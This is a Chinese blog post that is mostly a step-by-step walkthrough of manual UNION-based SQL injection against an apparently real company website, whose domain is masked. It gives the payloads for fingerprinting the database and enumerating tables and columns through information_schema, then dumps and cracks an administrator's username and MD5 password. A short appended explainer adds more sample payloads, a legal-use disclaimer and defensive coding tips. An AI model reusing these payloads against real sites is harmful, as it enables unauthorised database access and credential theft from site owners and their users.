php手工注入拿后台

http://www.XXXXX.com.cn/company_detail.php?id=16 

and 1=1 看一下 正常

and 1=2 错误

order by 8 正常

order by 9 错误 说明就是8

UNION SELECT 1,2,3,4,5,6,7,8      8个   出现数字 2 与 6


version()获取版本
database()获取数据库名
user()获取当前用户
@@version_compile_os 获取操作系统信息

先获取版本信息
http://www.XXXXX.com.cn/company_detail.php?id=16  UNION SELECT 1,2,3,4,5,version(),7,8
就是(注入点 UNION SELECT version())注意version()是插在显位数字那里的。

5.1.33-community   大于5.0 可以用这种方法注入

UNION SELECT 1,2,3,4,5,database(),7,8

UNION SELECT 1,2,3,4,5,user(),7,8

UNION SELECT 1,2,3,4,5,@@version_compile_os,7,8

最终得到 


version()  5.1.33-community 
database()  sq_*****
user() *****@localhost
@@version_compile_os  Win32


【然后下面就是重点了,这个东西是死的,大家只要记住就可以。我留个公式下来:】
-------------------------------------------嘿嘿,在吗----------------------------------------------------


获取表名:
注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)
获取表段和字段:
注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)
获取指定表下的指定字段信息
注入点 UNION SELECT 1,字段名 from 表名

注意数字 1,2,3,4,5,6,7,8  这里给的是1,2 是不对的

-------------------------------------------在啊,有事吗----------------------------------------------------


首先来获取表名:
注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)

hex编码

http://www.107000.com/T-Hex/   将得到的结果前面加上 0x


我这里是 0x73715f****6a7873   则为 

UNION SELECT 1,2,3,4,5,table_name,7,8 from information_schema.tables where table_schema=0x73715f****6a7873

看上面的语句会发现information_schema.tables 为什么要写这串英文呢?因为版本大于5.0的话有个自带的表,就是它     所有如果小于5.0就么有这张表 注入语句也不会这么写。

得到 ***config  没有全部爆出来

(如果没有全部爆出来,我们只需要把table_name用英文括号括起来,前面加个group_concat 再次访问,就可以获取到所有表)

UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=0x73715f****6a7873

得到 全部表 包括 manager  一看就知道是这个

编码 manager  得0x6d616e6167657220

UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x6d616e6167657220

结果不是  因为 用这个返回正常的页面

得到 MName MPsw


此时的语句就简单多了:
获取指定表下的指定字段信息
注入点 UNION SELECT 1,2,3,4,5,字段名,7,8 from 表名

即 UNION SELECT 1,2,3,4,5,concat(0x3a,MName,0x3a,MPsw),7,8 from manager

得到     :xyc:99D75B460B05C7D660D7069A0A4D4B4B

即用户名xyc 密码的密文为99D75B460B05C7D660D7069A0A4D4B4B    MD5解密得  7238809













### 关于SQL手工注入的学习 #### SQL手工注入简介 SQL注入是一种常见的Web应用程序攻击方式,通过向查询参数输入恶意的SQL语句片段,从而改变原有SQL命令的行为。这种技术能够绕过身份验证机制、读取敏感数据甚至控制服务器。 #### 靶场环境介绍 墨者学院提供了一个专门用于练习SQL注入技巧的安全测试平台[^2]。此靶场基于Nginx+PHP+MySQL架构构建而成,并且访问成本低廉——仅需消耗一枚虚拟货币“墨币”,新用户注册时通常会被赠送足够的余额来进行多次尝试而不必担心额外开销。 #### 实践案例分析 对于想要深入了解如何实施SQL注入的人来说,在实际操作之前先观察目标网站是否存在潜在可利用之处非常重要。比如查看URL中的GET请求参数是否未经充分过滤就被直接拼接到后台执行的SQL指令里;又或者是POST表单提交的数据项有没有被妥善处理等情形都可能是突破口所在[^1]。 当确认存在风险点之后,则可以根据具体场景采取不同策略展开进一步探索: - **字符型字段**:如果发现某个文本框允许接收任意字符串作为输入值的话,那么就可以试着构造一些特殊模式串去试探内部逻辑反应情况。例如`' OR '1'='1`这样的表达式往往能帮助判断出是否有漏洞存在以及其大致位置范围[^3]。 - **联合查询(UNION SELECT)**:这是一种较为高级但也非常实用的方法之一。它可以让攻击者将自己的SELECT子句附加到原始查询后面并获取更多有用的信息。像下面这条语句就是用来枚举当前库内所有表格名称及其所属数据库名的一个例子: ```sql new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() ``` 请注意上述做法仅供合法授权下的渗透测试培训用途,请勿非法入侵任何网络设施! #### 安全建议 为了防止遭受此类威胁影响业务正常运转,开发者应当遵循最佳编码实践指南,如采用预编译语句代替动态组装SQL文法结构;严格校验前端传来的一切外部可控变量合法性;定期审查源码质量排除隐患等等措施加强防护力度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值